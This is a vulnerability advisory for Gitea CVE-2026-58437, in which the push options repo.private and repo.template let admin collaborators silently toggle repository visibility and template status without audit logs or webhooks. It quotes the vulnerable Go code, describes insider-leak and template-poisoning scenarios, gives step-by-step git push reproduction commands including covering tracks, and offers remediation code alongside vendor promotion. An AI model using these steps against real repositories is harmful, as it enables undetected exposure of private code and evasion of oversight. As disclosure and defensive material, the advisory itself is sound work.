Summary
Gitea: Repository Visibility Manipulation via Git Push Options
Repository Visibility Manipulation via Git Push Options
| Field | Value |
|---|---|
| Affected File | routers/private/hook_post_receive.go |
| Affected Function | HookPostReceive() |
| Affected Lines | 173–225 |
| Prerequisite | Attacker must have owner-level or admin collaborator access to the target repository |
Description
Gitea's post-receive git hook handler processes git push options, key-value pairs transmitted by a client during git push using the -o flag. Two undocumented push options, repo.private and repo.template, allow any user with repository owner or admin-collaborator access to toggle the visibility (private/public) and template status of a repository as a side effect of a normal git push.
This capability was originally intended solely for the "push-to-create" feature (automatically creating a repo on first push). However, the options are processed without restriction on already-existing repositories, and, critically, the visibility change bypasses every control that a proper settings change would trigger:
- No entry written to the repository's audit/activity log
- No webhook event fired (
repositoryevent withvisibility_changedaction) - No org-level notification to owners
- No team permission re-calculation
- No email alert to watchers
- The database update uses
UpdateRepositoryColsNoAutoTime, which also suppresses theupdated_attimestamp change
Vulnerable Code
routers/private/hook_post_receive.go:173–225
isPrivate := opts.GitPushOptions.Bool(private.GitPushOptionRepoPrivate) // "repo.private"
isTemplate := opts.GitPushOptions.Bool(private.GitPushOptionRepoTemplate) // "repo.template"
if isPrivate.Has() || isTemplate.Has() {
// ... loads repo and verifies pusher is owner or admin ...
if !perm.IsOwner() && !perm.IsAdmin() {
ctx.JSON(http.StatusNotFound, ...)
return
}
// FIXME: these options are not quite right, for example: changing visibility
// should do more works than just setting the is_private flag
// These options should only be used for "push-to-create"
if isPrivate.Has() && repo.IsPrivate != isPrivate.Value() {
// TODO: it needs to do more work
repo.IsPrivate = isPrivate.Value()
repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, "is_private")
// ^^^ bypasses updated_at timestamp, audit trail suppressed
}
if isTemplate.Has() && repo.IsTemplate != isTemplate.Value() {
repo.IsTemplate = isTemplate.Value()
repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, "is_template")
}
}
The push option constants are defined in modules/private/pushoptions.go:18–19:
GitPushOptionRepoPrivate = "repo.private"
GitPushOptionRepoTemplate = "repo.template"
Attack Scenario
Scenario A, Insider threat / rogue admin collaborator
An organization grants a contractor repo admin access to contribute to a private repository containing proprietary source code. The contractor, before their access is revoked, makes a private repo public for several minutes, long enough to clone, archive, or index the content, then makes it private again. The action leaves no audit trail distinguishable from a normal git push.
Scenario B, Supply-chain template poisoning
A repository marked as a template is used by CI/CD pipelines to generate new project repositories. An admin collaborator uses repo.template=false to silently remove the template designation, then makes changes to the repo's content, re-marks it as a template with repo.template=true, and waits for downstream consumers to regenerate projects from the now-backdoored template. The updated_at timestamp is unchanged due to UpdateRepositoryColsNoAutoTime, making diff-detection harder.
Step-by-Step Reproduction
Prerequisites:
- A Gitea user account with either owner or admin-collaborator access to a private repository
gitclient with push access to the repository
Step 1, Confirm the target repository is private
Step 2, Clone the repository
git clone http://USER:PASSWORD@<gitea-host>/OWNER/REPO.git /tmp/target-repo
cd /tmp/target-repo
Step 3, Make any commit (the push option rides on a real push)
echo "$(date)" >> .gitkeep
git add .gitkeep
git commit -m "routine update"
Step 4, Execute the exploit push
# Make the repository public
git push http://USER:PASSWORD@<gitea-host>/OWNER/REPO.git main \
-o repo.private=false
# The push completes with a normal success message:
# remote: Processed 1 references in total
# To http://<gitea-host>/OWNER/REPO.git
# abc1234..def5678 main -> main
Step 5, Verify the repository is now public
Step 6, Restore and cover tracks
Re-make it private in the same session, leaving no visible audit trail
The repository activity feed shows only two normal push events. The visibility change is invisible.
Verification: confirm no activity log entry
Impact Details
| Impact | Description |
|---|---|
| Data exfiltration | Private source code, CI/CD secrets in plain-text files, environment configs become publicly cloneable for the window the repo is public |
| No audit trail | UpdateRepositoryColsNoAutoTime suppresses the updated_at change; no activity log entry; no webhook; no notification |
| Supply chain | Combined with repo.template=true/false, an attacker can silently rotate repository template status, affecting all downstream repositories that generate from this template |
| Scope | Affects all repos where the attacker has admin-collaborator access, not only repos they own |
Impact
CVE-2026-58437 has a CVSS score of 7.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.27.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Option 1 (preferred), Remove the options from post-receive hook entirely. The repo.private and repo.template push options were designed for the push-to-create flow and have no legitimate use on existing repositories. They should be gated with:
// routers/private/hook_post_receive.go
if isPrivate.Has() || isTemplate.Has() {
if !wasEmpty {
// repo already existed, refuse these options on established repos
log.Warn("Repo push options repo.private/repo.template ignored for existing repo %s", repoName)
// do not process
} else {
// original push-to-create path only
...
}
}
Option 2, Route through the full visibility-change service so that audit events, webhooks, and team re-syncs are triggered:
// Instead of the raw UpdateRepositoryColsNoAutoTime call:
if err := repo_service.UpdateRepositoryVisibility(ctx, repo, isPrivate.Value()); err != nil {
...
}
Where UpdateRepositoryVisibility fires the repository webhook event and writes an activity log entry.
Frequently Asked Questions
- What is CVE-2026-58437? CVE-2026-58437 is a high-severity security vulnerability in code.gitea.io/gitea (go), affecting versions < 1.27.0. It is fixed in 1.27.0.
- How severe is CVE-2026-58437? CVE-2026-58437 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of code.gitea.io/gitea are affected by CVE-2026-58437? code.gitea.io/gitea (go) versions < 1.27.0 is affected.
- Is there a fix for CVE-2026-58437? Yes. CVE-2026-58437 is fixed in 1.27.0. Upgrade to this version or later.
- Is CVE-2026-58437 exploitable, and should I be worried? Whether CVE-2026-58437 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-58437 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-58437? Upgrade
code.gitea.io/giteato 1.27.0 or later.